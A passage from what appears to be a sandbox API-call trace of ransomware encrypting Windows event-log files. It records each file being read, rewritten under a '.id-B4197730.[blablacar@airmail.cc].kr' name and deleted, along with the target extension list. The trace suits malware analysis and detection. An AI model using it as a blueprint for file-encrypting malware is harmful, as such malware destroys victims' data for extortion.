1 [0102.610] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.610] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0102.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.610] lstrlenW (lpString=".doc") returned 4 [0102.610] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.610] lstrlenW (lpString=".docx") returned 5 [0102.610] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.610] lstrlenW (lpString=".pdf") returned 4 [0102.610] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString=".xls") returned 4 [0102.611] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString=".xlsx") returned 5 [0102.611] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.611] lstrlenW (lpString=".ppt") returned 4 [0102.611] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.611] lstrlenW (lpString=".zip") returned 4 [0102.611] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString=".rar") returned 4 [0102.611] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString=".bz2") returned 4 [0102.611] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString=".7z") returned 3 [0102.611] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.611] lstrlenW (lpString=".dbf") returned 4 [0102.611] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.611] lstrlenW (lpString=".1cd") returned 4 [0102.611] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.611] lstrlenW (lpString=".jpg") returned 4 [0102.611] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.612] lstrlenW (lpString=".doc") returned 4 [0102.612] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".docx") returned 5 [0102.612] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.612] lstrlenW (lpString=".pdf") returned 4 [0102.612] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".xls") returned 4 [0102.612] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".xlsx") returned 5 [0102.612] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.612] lstrlenW (lpString=".ppt") returned 4 [0102.612] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.612] lstrlenW (lpString=".zip") returned 4 [0102.612] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".rar") returned 4 [0102.612] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".bz2") returned 4 [0102.612] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.612] lstrlenW (lpString=".7z") returned 3 [0102.612] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.612] lstrlenW (lpString=".dbf") returned 4 [0102.613] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.613] lstrlenW (lpString=".1cd") returned 4 [0102.613] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0102.613] lstrlenW (lpString=".jpg") returned 4 [0102.613] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.613] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.613] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0102.613] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.613] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0102.613] CloseHandle (hObject=0x33c) returned 1 [0102.614] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0102.614] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.614] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.614] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.067] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.067] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.068] GetLastError () returned 0x0 [0103.068] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.071] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.073] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.073] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x124, lpOverlapped=0x0) returned 1 [0103.073] SetEndOfFile (hFile=0x328) returned 1 [0103.073] CloseHandle (hObject=0x328) returned 1 [0103.079] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.079] SetEndOfFile (hFile=0x33c) returned 1 [0103.080] CloseHandle (hObject=0x33c) returned 1 [0103.081] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.081] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0103.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.081] lstrlenW (lpString=".doc") returned 4 [0103.081] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.081] lstrlenW (lpString=".docx") returned 5 [0103.081] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.081] lstrlenW (lpString=".pdf") returned 4 [0103.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.081] lstrlenW (lpString=".xls") returned 4 [0103.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.081] lstrlenW (lpString=".xlsx") returned 5 [0103.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.081] lstrlenW (lpString=".ppt") returned 4 [0103.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString=".zip") returned 4 [0103.082] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".rar") returned 4 [0103.082] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".bz2") returned 4 [0103.082] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".7z") returned 3 [0103.082] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString=".dbf") returned 4 [0103.082] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString=".1cd") returned 4 [0103.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString=".jpg") returned 4 [0103.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.082] lstrlenW (lpString=".doc") returned 4 [0103.082] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".docx") returned 5 [0103.082] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.082] lstrlenW (lpString=".pdf") returned 4 [0103.082] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".xls") returned 4 [0103.082] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.082] lstrlenW (lpString=".xlsx") returned 5 [0103.082] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.083] lstrlenW (lpString=".ppt") returned 4 [0103.083] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.083] lstrlenW (lpString=".zip") returned 4 [0103.083] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.083] lstrlenW (lpString=".rar") returned 4 [0103.083] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.083] lstrlenW (lpString=".bz2") returned 4 [0103.083] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.083] lstrlenW (lpString=".7z") returned 3 [0103.083] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.084] lstrlenW (lpString=".dbf") returned 4 [0103.084] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.084] lstrlenW (lpString=".1cd") returned 4 [0103.084] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0103.084] lstrlenW (lpString=".jpg") returned 4 [0103.084] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.084] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.084] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0103.084] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.084] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0103.084] CloseHandle (hObject=0x33c) returned 1 [0103.086] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0103.086] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.087] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.087] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.087] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.087] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.088] GetLastError () returned 0x0 [0103.088] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.090] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.092] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.092] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x154, lpOverlapped=0x0) returned 1 [0103.093] SetEndOfFile (hFile=0x328) returned 1 [0103.093] CloseHandle (hObject=0x328) returned 1 [0103.095] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.095] SetEndOfFile (hFile=0x33c) returned 1 [0103.096] CloseHandle (hObject=0x33c) returned 1 [0103.096] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.097] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0103.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.097] lstrlenW (lpString=".doc") returned 4 [0103.097] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.097] lstrlenW (lpString=".docx") returned 5 [0103.097] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.097] lstrlenW (lpString=".pdf") returned 4 [0103.097] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.097] lstrlenW (lpString=".xls") returned 4 [0103.097] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.097] lstrlenW (lpString=".xlsx") returned 5 [0103.097] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.097] lstrlenW (lpString=".ppt") returned 4 [0103.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString=".zip") returned 4 [0103.098] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString=".rar") returned 4 [0103.098] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString=".bz2") returned 4 [0103.098] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString=".7z") returned 3 [0103.098] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString=".dbf") returned 4 [0103.098] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString=".1cd") returned 4 [0103.098] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString=".jpg") returned 4 [0103.098] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.098] lstrlenW (lpString=".doc") returned 4 [0103.099] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".docx") returned 5 [0103.099] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.099] lstrlenW (lpString=".pdf") returned 4 [0103.099] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".xls") returned 4 [0103.099] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".xlsx") returned 5 [0103.099] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.099] lstrlenW (lpString=".ppt") returned 4 [0103.099] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.099] lstrlenW (lpString=".zip") returned 4 [0103.099] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".rar") returned 4 [0103.099] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".bz2") returned 4 [0103.099] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString=".7z") returned 3 [0103.099] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.099] lstrlenW (lpString=".dbf") returned 4 [0103.099] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.099] lstrlenW (lpString=".1cd") returned 4 [0103.099] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0103.099] lstrlenW (lpString=".jpg") returned 4 [0103.099] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.100] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.100] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0103.100] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.101] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=1052672) returned 1 [0103.101] CloseHandle (hObject=0x33c) returned 1 [0103.101] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0103.101] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.101] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.101] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.101] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.101] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.102] GetLastError () returned 0x0 [0103.102] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0103.664] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0103.688] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x1010, lpOverlapped=0x0) returned 1 [0104.202] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x1020, lpOverlapped=0x0) returned 1 [0104.206] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.206] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x126, lpOverlapped=0x0) returned 1 [0104.206] SetEndOfFile (hFile=0x328) returned 1 [0104.206] CloseHandle (hObject=0x328) returned 1 [0104.231] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.231] SetEndOfFile (hFile=0x33c) returned 1 [0104.232] CloseHandle (hObject=0x33c) returned 1 [0104.232] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0104.232] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0104.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.233] lstrlenW (lpString=".doc") returned 4 [0104.233] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".docx") returned 5 [0104.233] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0104.233] lstrlenW (lpString=".pdf") returned 4 [0104.233] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".xls") returned 4 [0104.233] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".xlsx") returned 5 [0104.233] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0104.233] lstrlenW (lpString=".ppt") returned 4 [0104.233] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.233] lstrlenW (lpString=".zip") 